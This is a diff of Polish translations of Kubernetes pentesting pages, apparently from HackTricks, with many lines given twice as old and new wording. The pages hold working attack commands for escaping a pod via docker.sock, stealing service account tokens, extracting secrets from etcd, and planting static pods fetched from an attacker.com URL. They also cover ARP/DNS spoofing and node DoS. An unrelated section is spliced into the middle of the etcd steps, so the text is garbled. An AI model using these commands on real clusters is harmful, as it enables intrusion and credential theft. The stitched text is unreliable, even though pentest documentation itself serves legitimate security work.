Sprawdź następującą stronę, aby dowiedzieć się, jak możesz **attack Kubernetes specific services** w celu **compromise other pods/all the environment**:
Sprawdź stronę, aby dowiedzieć się, jak możesz **attack Kubernetes specific services** w celu **compromise other pods/all the environment**:
{{#ref}}
pentesting-kubernetes-services/
@@ -125,12 +125,12 @@ pentesting-kubernetes-services/
### Sniffing
Jeśli **compromised pod uruchamia jakiś sensitive service**, do którego inne pody muszą się authenticate, możesz być w stanie uzyskać credentials wysyłane przez inne pody, **sniffing local communications**.
W przypadku, gdy **compromised pod uruchamia jakiś wrażliwy service**, do którego inne pody muszą się authenticate, możesz być w stanie uzyskać credentials wysyłane przez inne pody, **sniffing local communications**.
## Network Spoofing
Domyślnie techniki takie jak **ARP spoofing** (a dzięki temu także **DNS Spoofing**) działają w network kubernetes. Następnie, wewnątrz poda, jeśli masz **NET_RAW capability** (która jest domyślnie dostępna), będziesz w stanie wysyłać własnoręcznie przygotowane network packets i wykonywać **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Ponadto, jeśli **malicious pod** działa na **same node as the DNS Server**, będziesz w stanie wykonać **DNS Spoofing attack to all the pods in cluster**.
Domyślnie techniki takie jak **ARP spoofing** (a dzięki temu także **DNS Spoofing**) działają w sieci kubernetes. Następnie, wewnątrz poda, jeśli masz **NET_RAW capability** (która jest domyślnie obecna), będziesz w stanie wysyłać ręcznie spreparowane network packets i wykonywać **MitM attacks via ARP Spoofing to all the pods running in the same node.**\
Ponadto, jeśli **malicious pod** działa na **same node as the DNS Server**, będziesz w stanie przeprowadzić **DNS Spoofing attack to all the pods in cluster**.
{{#ref}}
kubernetes-network-attacks.md
@@ -138,13 +138,13 @@ kubernetes-network-attacks.md
## Node DoS
W manifestach Kubernetes nie ma specyfikacji resources i **not applied limit** ranges dla kontenerów. Jako attacker możemy **consume all the resources where the pod/deployment running** i zagłodzić inne resources oraz spowodować DoS dla environment.
W manifestach Kubernetes nie ma specyfikacji zasobów i **not applied limit** ranges dla kontenerów. Jako attacker możemy **consume all the resources where the pod/deployment running** i zagłodzić inne resources oraz spowodować DoS dla środowiska.
Można to zrobić za pomocą narzędzia takiego jak [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
```
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
```
Możesz zobaczyć różnicę podczas uruchamiania `stress-ng` i po nim
Możesz zobaczyć różnicę podczas uruchamiania `stress-ng` i po zakończeniu
```bash
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
```
@@ -153,8 +153,8 @@ kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxx
Jeśli udało ci się **uciec z kontenera**, na node znajdziesz kilka interesujących rzeczy:
- Proces **Container Runtime** (Docker)
- Więcej **pods/containers** działających na node, które możesz wykorzystać w podobny sposób jak ten (więcej tokenów)
- Cały **filesystem** i ogólnie **OS**
- Więcej **pods/containers** uruchomionych na node, które możesz nadużyć jak ten (więcej tokens)
- Cały **filesystem** i **OS** ogólnie
- Usługa **Kube-Proxy** nasłuchująca
- Usługa **Kubelet** nasłuchująca. Sprawdź pliki konfiguracyjne:
- Directory: `/var/lib/kubelet/`
@@ -171,6 +171,12 @@ Jeśli udało ci się **uciec z kontenera**, na node znajdziesz kilka interesuj
- `/etc/kubernetes/manifests/etcd.yaml` - **etcd Configuration**
- `/etc/kubernetes/pki` - **Kubernetes Key**
### Image Pull and Registry Credentials
Po uzyskaniu dostępu do node, sprawdź też, jak node pobiera prywatne obrazy. Przydatne dowody obejmują metadane obrazów runtime (`crictl images`), `imagePullSecrets` dla Pod lub ServiceAccount, konfigurację registry containerd, taką jak `/etc/containerd/config.toml` i `/etc/containerd/certs.d`, oraz flagi dostawcy poświadczeń obrazu kubelet, takie jak `--image-credential-provider-config` i `--image-credential-provider-bin-dir`.
Nie zakładaj, że zbuforowany prywatny obraz oznacza, że masz ponownie używalne poświadczenia registry. Może to tylko potwierdzać, że obraz istnieje na tym node. Jednak statyczne poświadczenia registry runtime, Docker config JSON pull secrets albo credential provider, który może generować krótkotrwałe pull credentials, mogą ujawnić dostęp do prywatnego registry. Nowsze wersje Kubernetes obsługują też kubelet credential providers oparte na service-account-token do pobierania obrazów, więc sprawdź, czy provider używa tokenów service account powiązanych z Pod oraz jakiego audience żąda, zanim zgłosisz wpływ.
### Find node kubeconfig
Jeśli nie możesz znaleźć pliku kubeconfig w jednej z wcześniej wymienionych ścieżek, **sprawdź argument `--kubeconfig` procesu kubelet**:
@@ -178,7 +184,7 @@ Jeśli nie możesz znaleźć pliku kubeconfig w jednej z wcześniej wymienionych
ps -ef | grep kubelet
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
```
### Kradzież secrets
### Kradzież Secrets
```bash
# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
@@ -199,20 +205,20 @@ echo ""
fi
done
```
Skrypt [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) automatycznie **pobierze tokeny innych podów i sprawdzi, czy mają uprawnienie**, którego szukasz (zamiast sprawdzać je 1 po 1):
Skrypt [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) automatycznie **pobierze tokeny innych podów i sprawdzi, czy mają uprawnienie**, którego szukasz (zamiast sprawdzać po kolei 1 po 1):
```bash
./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code
```
### Privileged DaemonSets
DaemonSet to **pod**, który będzie **uruchamiany** na **wszystkich nodeach klastra**. Dlatego, jeśli DaemonSet jest skonfigurowany z **privileged service account,** na **WSZYSTKICH nodeach** będziesz w stanie znaleźć **token** tego **privileged service account**, który możesz nadużyć.
DaemonSet to **pod**, który będzie **uruchamiany** na **wszystkich nodach klastra**. Dlatego jeśli DaemonSet jest skonfigurowany z **privileged service account,** na **WSZYSTKICH nodach** będziesz w stanie znaleźć **token** tego **privileged service account**, który możesz abuse.
Exploit jest taki sam jak w poprzedniej sekcji, ale teraz nie zależysz od szczęścia.
### Pivot to Cloud
Jeśli klaster jest zarządzany przez cloud service, zazwyczaj **Node będzie miał inny dostęp do metadata** endpoint niż Pod. Dlatego spróbuj **uzyskać dostęp do metadata endpoint z node** (lub z poda z hostNetwork ustawionym na True):
Jeśli klaster jest zarządzany przez usługę cloud, zwykle **Node będzie miał inny dostęp do endpointu metadata** niż Pod. Dlatego spróbuj **uzyskać dostęp do endpointu metadata z node** (albo z poda z hostNetwork ustawionym na True):
{{#ref}}
kubernetes-pivoting-to-clouds.md
@@ -220,104 +226,168 @@ kubernetes-pivoting-to-clouds.md
### Steal etcd
Jeśli możesz określić [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) nodea, na którym będzie uruchamiany kontener, zdobądź shell wewnątrz nodea control-plane i pobierz **etcd database**:
Jeśli możesz określić [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) noda, na którym będzie uruchomiony kontener, uzyskaj shell wewnątrz noda control-plane i pobierz bazę **etcd**:
```
kubectl get nodes
NAME STATUS ROLES AGE VERSION
k8s-control-plane Ready master 93d v1.19.1
k8s-worker Ready <none> 93d v1.19.1
```
control-plane nodes have the **role master** and in **cloud managed clusters you won't be able to run anything in them**.
control-plane nodes mają **role master** i w **cloud managed clusters nie będziesz mógł nic na nich uruchomić**.
#### Odczyt sekretów z etcd 1
#### Read secrets from etcd 1
If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets.
Jeśli możesz uruchomić swój pod na control-plane node przy użyciu selektora `nodeName` w specyfikacji poda, możesz mieć łatwy dostęp do bazy `etcd`, która zawiera całą konfigurację klastra, w tym wszystkie secrets.
Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
Poniżej znajduje się szybki i brudny sposób na pobranie secrets z `etcd`, jeśli działa ono na control-plane node, na którym jesteś. Jeśli chcesz bardziej eleganckie rozwiązanie, które uruchamia pod z narzędziem klienta `etcd` `etcdctl` i używa credentials control-plane node do połączenia z etcd, gdziekolwiek ono działa, sprawdź [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) od @mauilion.
**Check to see if `etcd` is running on the control-plane node and see where the database is (This is on a `kubeadm` created cluster)**
```
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
```
Now, just by having access to a pod you can steal the token that the pod uses to access the k8s API:
Jeśli uzyskaliśmy shell wewnątrz poda, możemy zacząć rozpoznanie samego klastra.
Jeśli mamy szczęście, możemy w danym namespace znaleźć `kubeconfig` lub `serviceaccount` oraz pliki uwierzytelniające, a nawet tokeny innych chmur.
Jeśli znajdziemy token konta serwisowego, warto spróbować użyć go do komunikacji z `Kubernetes API` z poziomu poda.
```bash
ls /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
```
Zobacz też:
Maybe the pod is using a powerful token. In that case, once you have the token you can read or update the kubernetes api and abuse the cluster in a lot of ways.
- [Kubernetes - RBAC and ServiceAccounts](../kubernetes-privilege-escalation/kubernetes-rbac-and-serviceaccounts.md)
- [Kubernetes - Attacking the Kubelet API](../kubernetes-privilege-escalation/kubernetes-kubelet-api.md)
- [Kubernetes - Attacking the Kubernetes Dashboard](../kubernetes-privilege-escalation/kubernetes-dashboard.md)
```bash
data-dir=/var/lib/etcd
```
**Zobacz dane w bazie danych etcd:**
**Wyświetl dane w bazie danych etcd:**
```bash
strings /var/lib/etcd/member/snap/db | less
```
**Wyciągnij tokeny z bazy danych i pokaż nazwę service account**
**Wyciągnij tokens z database i pokaż nazwę service account**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
```
**To samo polecenie, ale z kilkoma grepami, aby zwracać tylko domyślny token w namespace kube-system**
**To samo polecenie, ale z dodatkowymi grepami, aby zwrócić tylko domyślny token w przestrzeni nazw kube-system**
```bash
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
```
Jeśli masz dostęp do zainfekowanego poda w Kubernetes, możesz zacząć szukać innych zasobów w klastrze z jego poziomu.
Aby przeprowadzić atak z poziomu pod w Kubernetes musisz **móc uruchamiać pody**.
Na tym etapie atak zakłada, że już **masz pod** i uzyskałeś na nim **shell**.
Z tego miejsca celem jest **ucieczka** z poda do **nodea Kubernetes**, a stamtąd potencjalnie do **kontrolera chmury** i całej **infrastruktury**.
## Wykrywanie
Kilka rzeczy, których możesz użyć do rozpoznania środowiska:
- `hostname` — zwykle pokaże nazwę nodea
- `env` — może zawierać interesujące zmienne środowiskowe
- `cat /proc/1/cgroup` — może ujawnić, że działasz w kontenerze
- `mount` — pokaże zamontowane systemy plików, czasem z clue do `hostPath` lub wrażliwych mountów
- `cat /var/run/secrets/kubernetes.io/serviceaccount/token` — sprawdź, czy pod ma token ServiceAccount
Możesz także sprawdzić:
```bash
cat /var/run/secrets/kubernetes.io/serviceaccount/token
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
```
Ten token może pozwolić ci na wykonywanie zapytań do Kubernetes API z poziomu poda. Na przykład:
Jeśli katalog istnieje, pod może mieć dostęp do Kubernetes API.
```bash
curl -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" https://kubernetes.default.svc
```
## Częste wektory ataku
Możesz też użyć `kubectl`, jeśli jest dostępny w obrazie:
```bash
kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) get pods
```
Jeśli pod ma przypisany `serviceAccount` z nadmiernymi uprawnieniami, możesz wyliczyć zasoby klastra, a nawet tworzyć nowe pody lub uzyskać dostęp do innych namespace’ów.
Kolejnym ważnym miejscem jest metadata service, jeśli pod działa w chmurze. Na przykład w aws możesz próbować uzyskać dane IAM role przez:
```bash
curl http://169.254.169.254/latest/meta-data/
```
Jeśli masz dostęp do sekretnych wolumenów, możesz znaleźć hasła, klucze API lub konfiguracje używane przez aplikację. Sprawdź też:
- environment variables
- mounted secrets
- config files
- cloud credentials
Warto również sprawdzić możliwości kontenera i ograniczenia bezpieczeństwa, takie jak:
- `CAP_SYS_ADMIN`
- `CAP_NET_ADMIN`
- `privileged`
- `hostPath` mounts
- `docker.sock`
Jeśli kontener ma dostęp do `docker.sock`, możesz łatwo przejąć hosta, tworząc nowy kontener z dostępem do systemu plików hosta.
### 1. ServiceAccount token
Jeśli pod ma zamontowany token ServiceAccount, możesz użyć go do:
- enumeracji zasobów w klastrze
- sprawdzenia uprawnień
- tworzenia nowych obiektów, jeśli RBAC jest źle skonfigurowany
Przykład:
```bash
docker -H unix:///var/run/docker.sock run -it --privileged --net=host --pid=host --ipc=host -v /:/host alpine chroot /host sh
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://kubernetes.default.svc/api -H "Authorization: Bearer $TOKEN"
```
Jeśli masz dostęp do `etcd`, `kubelet` lub do manifestów wdrożenia, możesz znaleźć więcej informacji o klastrze, sekretach i potencjalnych ścieżkach eskalacji uprawnień.
### 2. hostPath mount
Jeśli pod ma `hostPath` mount, możesz uzyskać dostęp do plików z nodea.
To często prowadzi do:
- odczytu wrażliwych plików z hosta
- modyfikacji plików hosta
- dalszej eskalacji uprawnień
Sprawdź mounty:
```bash
mount | grep hostPath
```
### 3. Privileged container
Jeśli kontener działa jako `privileged`, możesz mieć dostęp do:
- urządzeń hosta
- capabilities, które umożliwiają escape
- pełniejszego dostępu do systemu
### 4. CAP_SYS_ADMIN i inne capabilities
Niektóre capabilities są bardzo silne. `CAP_SYS_ADMIN` często pozwala na operacje zbliżone do root.
Sprawdź je w:
```bash
capsh --print
```
### 5. Docker socket
Jeśli pod ma dostęp do `/var/run/docker.sock`, możesz sterować Dockerem na hoście.
To bardzo często prowadzi do pełnego przejęcia nodea.
Przykład:
```bash
ls -l /var/run/docker.sock
```
### 6. Kubelet API
Na niektórych nodeach kubelet API może być dostępne lokalnie.
Może ono pozwalać na:
- wykonywanie komend w kontenerach
- odczyt logów
- pobieranie informacji o podach
## Dalsze kroki po eskalacji
Jeśli uda ci się dostać na node:
- sprawdź uruchomione pody
- sprawdź kubelet, container runtime i konfigurację sieci
- szukaj sekretów w plikach konfiguracyjnych
- sprawdź metadata service chmury, jeśli jest dostępna
## Typowe błędy konfiguracyjne
- `privileged: true`
- zbyt szerokie RBAC dla ServiceAccount
- `hostPath` mounty
- wystawiony Docker socket
- zbyt mocne capabilities
- brak ograniczeń network policy
## Wniosek
Atak z poziomu poda w Kubernetes zwykle polega na:
1. enumeracji środowiska
2. znalezieniu błędów konfiguracji
3. użyciu ich do przejścia na node
4. dalszej eskalacji do infrastruktury
Najbardziej wartościowe cele to:
- ServiceAccount token
- `hostPath`
- `privileged` container
- Docker socket
- nadmierne capabilities
```
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
```
#### Odczytaj secrets z etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
1. Utwórz snapshot bazy danych **`etcd`**. Sprawdź [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) po więcej informacji.
1. Utwórz snapshot bazy danych **`etcd`**. Sprawdź [**ten skrypt**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) po więcej info.
2. Przenieś snapshot **`etcd`** poza node w dowolny sposób.
3. Rozpakuj bazę danych:
```bash
@@ -328,37 +398,37 @@ mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./r
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
```
5. Wypisz wszystkie secrets:
5. Wypisz wszystkie sekrety:
```bash
etcdctl get "" --prefix --keys-only | grep secret
```
6. Zdobądź sekrety:
6. Zdobycie secfrets:
```bash
etcdctl get /registry/secrets/default/my-secret
```
### Static/Mirrored Pods Persistence
_Static Pods_ są zarządzane bezpośrednio przez demona kubelet na konkretnym node, bez obserwacji przez API server. W przeciwieństwie do Pods zarządzanych przez control plane (na przykład przez Deployment); zamiast tego **kubelet monitoruje każdy static Pod** (i restartuje go, jeśli się nie powiedzie).
_Static Pods_ są zarządzane bezpośrednio przez demon kubelet na konkretnym węźle, bez obserwacji przez API server. W przeciwieństwie do Pods zarządzanych przez control plane (na przykład Deployment); zamiast tego **kubelet obserwuje każdy static Pod** (i restartuje go, jeśli zawiedzie).
Dlatego static Pods są zawsze **powiązane z jednym Kubelet** na konkretnym node.
Dlatego static Pods są zawsze **przypisane do jednego Kubelet** na konkretnym węźle.
**kubelet automatycznie próbuje utworzyć mirror Pod na Kubernetes API server** dla każdego static Pod. Oznacza to, że Pods uruchomione na node są widoczne w API server, ale nie można nimi stamtąd sterować. Nazwy Pod będą miały dopisany hostname node z poprzedzającym myślnikiem.
**kubelet automatycznie próbuje utworzyć mirror Pod na Kubernetes API server** dla każdego static Pod. Oznacza to, że Pods działające na węźle są widoczne na API server, ale nie można nimi stamtąd sterować. Nazwy Podów będą miały sufiks w postaci hostname węzła z wiodącym myślnikiem.
> [!CAUTION]
> **`spec` static Pod nie może odwoływać się do innych obiektów API** (np. ServiceAccount, ConfigMap, Secret, etc. Dlatego **nie możesz nadużyć tego zachowania, aby uruchomić poda z dowolnym serviceAccount** na bieżącym node i skompromitować cluster. Ale możesz użyć tego do uruchamiania pods w różnych namespaces (jeśli z jakiegoś powodu jest to przydatne).
> **`spec` static Pod nie może odwoływać się do innych obiektów API** (np. ServiceAccount, ConfigMap, Secret, itd. Więc **nie możesz nadużyć tego zachowania, aby uruchomić pod z arbitralnym serviceAccount** na bieżącym węźle i skompromitować cluster. Możesz jednak użyć tego do uruchamiania pods w różnych namespaces (jeśli z jakiegoś powodu jest to przydatne).
Jeśli jesteś wewnątrz hosta node, możesz sprawić, że utworzy **static pod wewnątrz samego siebie**. Jest to całkiem użyteczne, ponieważ może pozwolić na **utworzenie poda w innym namespace** takim jak **kube-system**.
Jeśli jesteś wewnątrz hosta węzła, możesz sprawić, że utworzy **static pod wewnątrz samego siebie**. Jest to bardzo przydatne, ponieważ może pozwolić ci **utworz pod w innym namespace** takim jak **kube-system**.
Aby utworzyć static pod, [**docs są bardzo pomocne**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Potrzebujesz zasadniczo 2 rzeczy:
Aby utworzyć static pod, [**docs są bardzo pomocne**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Zasadniczo potrzebujesz 2 rzeczy:
- Skonfigurować parametr **`--pod-manifest-path=/etc/kubernetes/manifests`** w usłudze **kubelet**, albo w **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) i zrestartować usługę
- Utworzyć definicję **pod definition** w **`/etc/kubernetes/manifests`**
- Utworzyć definicję w **pod definition** w **`/etc/kubernetes/manifests`**
**Innym, bardziej stealth sposobem byłoby:**
- Zmodyfikować parametr **`staticPodURL`** w pliku konfiguracyjnym **kubelet** i ustawić coś w stylu **`staticPodURL: http://attacker.com:8765/pod.yaml`**. To spowoduje, że proces kubelet utworzy **static pod** pobierając **configuration z podanego URL**.
- Zmodyfikować parametr **`staticPodURL`** w pliku konfiguracyjnym **kubelet** i ustawić coś w rodzaju `staticPodURL: http://attacker.com:8765/pod.yaml`. To sprawi, że proces kubelet utworzy **static pod**, pobierając **konfigurację z podanego URL**.
**Przykład** konfiguracji **pod** do utworzenia privilege pod w **kube-system** zaczerpnięty z [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
**Przykład** konfiguracji **pod** do utworzenia privilege pod w **kube-system**, zaczerpnięty z [**tutaj**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
```yaml
apiVersion: v1
kind: Pod
@@ -386,7 +456,7 @@ type: Directory
```
### Usuwanie pods + unschedulable nodes
If an attacker has **compromised a node** and he can **delete pods** from other nodes and **make other nodes not able to execute pods**, the pods will be rerun in the compromised node and he will be able to **steal the tokens** run in them.\
Jeśli atakujący **skompromitował node** i może **usuwać pods** z innych nodes oraz **sprawić, że inne nodes nie będą mogły uruchamiać pods**, pods zostaną ponownie uruchomione na skompromitowanym node i będzie on mógł **ukraść tokeny** uruchomione w nich.\
For [**more info follow this links**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
## Automatic Tools
@@ -2,11 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
Istnieją **różne sposoby wystawiania services** w Kubernetes, tak aby zarówno **internal** endpoints, jak i **external** endpoints mogły uzyskiwać do nich dostęp. Taka konfiguracja Kubernetes jest dość krytyczna, ponieważ administrator może dać **attackers dostęp do services, do których nie powinni mieć dostępu**.
Istnieją **różne sposoby exposure services** w Kubernetes, aby zarówno **internal** endpoints, jak i **external** endpoints mogły uzyskiwać do nich access. Ta konfiguracja Kubernetes jest dość critical, ponieważ administrator mógłby dać access **attackers do services they shouldn't be able to access**.
### Automatic Enumeration
Zanim zaczniesz enumerować sposoby, jakie K8s oferuje do wystawiania services publicznie, wiedz, że jeśli możesz list namespaces, services i ingresses, możesz znaleźć wszystko wystawione publicznie za pomocą:
Zanim zaczniesz enumerating sposobów, jakie K8s oferuje do expose services do public, wiedz, że jeśli możesz list namespaces, services i ingresses, to możesz znaleźć wszystko exposed to the public za pomocą:
```bash
kubectl get namespace -o custom-columns='NAME:.metadata.name' | grep -v NAME | while IFS='' read -r ns; do
echo "Namespace: $ns"
@@ -20,13 +20,13 @@ done | grep -v "ClusterIP"
```
### ClusterIP
**ClusterIP** service to **domyślna** usługa Kubernetes. Zapewnia **usługę wewnątrz** klastra, do której mogą uzyskać dostęp inne aplikacje w klastrze. **Brak zewnętrznego dostępu**.
**ClusterIP** service to **domyślny** Kubernetes **service**. Daje Ci **service wewnątrz** Twojego klastra, do którego mogą uzyskać dostęp inne aplikacje w Twoim klastrze. **Nie ma** dostępu z zewnątrz.
Jednak można uzyskać do niej dostęp za pomocą Kubernetes Proxy:
Jednak można uzyskać do niego dostęp używając Kubernetes Proxy:
```bash
kubectl proxy --port=8080
```
Teraz możesz poruszać się po Kubernetes API, aby uzyskać dostęp do services, używając tego schematu:
Teraz możesz poruszać się po Kubernetes API, aby uzyskać dostęp do usług, używając tego schematu:
`http://localhost:8080/api/v1/proxy/namespaces/<NAMESPACE>/services/<SERVICE-NAME>:<PORT-NAME>/`
@@ -34,7 +34,7 @@ Na przykład możesz użyć następującego URL:
`http://localhost:8080/api/v1/proxy/namespaces/default/services/my-internal-service:http/`
aby uzyskać dostęp do tego service:
aby uzyskać dostęp do tej usługi:
```yaml
apiVersion: v1
kind: Service
@@ -52,15 +52,15 @@ protocol: TCP
```
_Ta metoda wymaga uruchomienia `kubectl` jako **uwierzytelniony użytkownik**._
Lista wszystkich ClusterIP:
Wyświetl wszystkie ClusterIPs:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep ClusterIP
```
### NodePort
Gdy używany jest **NodePort**, określony port jest udostępniany na wszystkich Nodes (reprezentujących Virtual Machines). **Traffic** kierowany na ten konkretny port jest następnie systematycznie **routed to the service**. Zwykle nie jest to zalecane ze względu na jego wady.
Gdy używany jest **NodePort**, określony port jest udostępniany na wszystkich Nodes (reprezentujących Virtual Machines). **Traffic** kierowany na ten konkretny port jest następnie systematycznie **routed to the service**. Zwykle ta metoda nie jest zalecana ze względu na swoje wady.
List all NodePorts:
Wyświetl wszystkie NodePorts:
```bash
kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep NodePort
```
@@ -81,24 +81,25 @@ targetPort: 80
nodePort: 30036
protocol: TCP
```
Jeśli **nie określisz** **nodePort** w yaml (to port, który zostanie otwarty), zostanie użyty port w **zakresie 3000032767**.
Jeśli **nie określisz** **nodePort** w yaml (to port, który zostanie otwarty), zostanie użyty port z **zakresu 3000032767**.
Podczas przeglądania Services typu NodePort lub LoadBalancer, sprawdź też pola traffic-policy, ponieważ zmieniają one, które node i backendy są użyteczne z danego źródła:
Podczas analizy usług NodePort lub LoadBalancer, sprawdź także pola traffic-policy, ponieważ zmieniają one, które węzły i backendy są użyteczne z danego źródła:
```bash
kubectl get services --all-namespaces \
-o custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,ETP:.spec.externalTrafficPolicy,ITP:.spec.internalTrafficPolicy,AFFINITY:.spec.sessionAffinity,DIST:.spec.trafficDistribution,NODEPORTS:.spec.ports[*].nodePort'
```
- `externalTrafficPolicy: Local` zachowuje oryginalny źródłowy IP klienta dla ruchu NodePort/LoadBalancer i unika przekazywania do endpointów na innych node. Node bez lokalnego gotowego endpointu może odrzucić ruch, nawet jeśli Service ma endpointy gdzie indziej.
- `externalTrafficPolicy: Cluster` jest domyślne i może przekazywać ruch przez dowolny node, ale logi backendu mogą widzieć IP node zamiast prawdziwego zewnętrznego IP klienta.
- `internalTrafficPolicy: Local` ogranicza ruch Service wewnątrz cluster do endpointów lokalnych względem node źródłowego. To routing oparty na locality, a nie boundary authorization.
- `sessionAffinity: ClientIP` może sprawić, że powtarzane testy z jednego klienta trafią do tego samego backend, ukrywając inne gotowe endpointy podczas ręcznych sprawdzeń.
- `trafficDistribution` i EndpointSlice topology hints mogą preferować endpointy w tej samej strefie lub na tym samym node w nowszych cluster; traktuj je jako preferencje routingu, a nie twardą politykę security.
- NodePorts są zwykle wystawiane na adresach node, ale kube-proxy może ograniczać zakresy adresów za pomocą `--nodeport-addresses` lub `nodePortAddresses` w swojej konfiguracji. Sprawdź aktywną konfigurację kube-proxy albo CNI service-proxy replacement, zanim założysz, że NodePort jest osiągalny na każdym IP node.
- `externalTrafficPolicy: Local` zachowuje oryginalny source IP klienta dla ruchu NodePort/LoadBalancer i unika forwardowania do endpoints na innych node. Node bez lokalnego ready endpoint może dropować ruch, nawet jeśli Service ma endpoints gdzie indziej.
- `externalTrafficPolicy: Cluster` jest domyślne i może forwardować przez dowolny node, ale backend logs mogą widzieć IP node zamiast prawdziwego zewnętrznego IP klienta.
- `internalTrafficPolicy: Local` ogranicza ruch Service wewnątrz klastra do endpoints lokalnych względem source node. To jest routing oparty na locality, a nie boundary authorization.
- `sessionAffinity: ClientIP` może sprawić, że powtarzane testy z jednego klienta będą trafiać do tego samego backend, ukrywając inne ready endpoints podczas ręcznych sprawdzeń.
- `trafficDistribution` i EndpointSlice topology hints mogą preferować endpoints w tej samej strefie albo na tym samym node w nowszych klastrach; traktuj je jako preferences routingu, a nie twardą politykę security.
### LoadBalancer
Udostępnia Service zewnętrznie **używając cloud provider's load balancer**. Na GKE uruchomi to [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/), który da ci jeden IP address, przekazujący cały traffic do twojego service. W AWS uruchomi Load Balancer.
Wystawia Service na zewnątrz **używając cloud provider's load balancer**. Na GKE uruchomi to [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/), który da ci pojedynczy adres IP i będzie forwardował cały traffic do twojego service. W AWS uruchomi Load Balancer.
Musisz płacić za jeden LoadBalancer na każdy exposed service, co może być kosztowne.
Musisz płacić za LoadBalancer dla każdego wystawionego service, co może być kosztowne.
List all LoadBalancers:
```bash
@@ -107,15 +108,15 @@ kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.nam
### External IPs
> [!TIP]
> External IPs są wystawiane przez usługi typu Load Balancers i są zazwyczaj używane, gdy wykorzystywany jest zewnętrzny Cloud Provider Load Balancer.
> External IPs są udostępniane przez usługi typu Load Balancers i są zazwyczaj używane, gdy wykorzystywany jest zewnętrzny Cloud Provider Load Balancer.
>
> Aby je znaleźć, sprawdź load balancers z wartościami w polu `EXTERNAL-IP`.
